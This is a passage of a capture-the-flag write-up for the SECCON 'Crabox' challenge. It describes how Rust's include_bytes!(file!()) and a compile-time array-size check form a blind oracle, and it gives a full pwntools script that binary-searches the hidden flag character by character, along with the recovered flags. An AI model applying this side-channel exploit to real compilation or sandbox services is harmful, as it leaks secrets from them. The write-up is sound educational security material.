SECCON{JWBH-58EL-QWRL-CLSW-UFRI-XUY3-YHKK-KFBV}
```
# 5. Crabox
We're provided with the service that can compile a given small Rust program. The flag is inserted as comment after our payload, and no compiler stdout/stderr is avalialble.
## Idea
To exfiltrate flag, we can abuse a couple of Rust macros:
- `file!()` - get the current file name
- `include_bytes!(path)` - include file contents as bytes at compile time
We can define a variable of type `[u32; 1]` and initialize it with `[0; cond as usize]`. If `cond` is evaluated to true, it will succeed, otherwise an error about array size mismatch would be thrown.
## Solution
To minimize the number of requests, we're going to use binary search algorithm for each char. This way, it will only cost ~8 requests per char, instead of brute forcing the entire alphabet.
```python=
from pwn import *
def try_letter(pos, val):
with remote('crabox.seccon.games', 1337, level='warn') as r:
exploit = f'''let _: [u32; 1] = [0; (include_bytes!(file!())[{pos:4}] > 0x{val:02x}) as usize];'''
r.recvuntil(b'Input your program (the last line must start with __EOF__):\n')
r.sendline(exploit.encode())
r.sendline(b'__EOF__')
return b':)' in r.recvall()
flag_start = 107
flag = 'SECCON{'
while not flag.endswith('}'):
low, high = 32, 125
while low < high:
mid = (high + low) // 2
print('trying', flag + chr(mid))
if try_letter(flag_start + len(flag), mid):
low = mid + 1
else:
high = mid
flag += chr(low)
print(flag)
```
And some requests later, the whole flag is spit out:
```
SECCON{ctfe_i5_p0w3rful}
```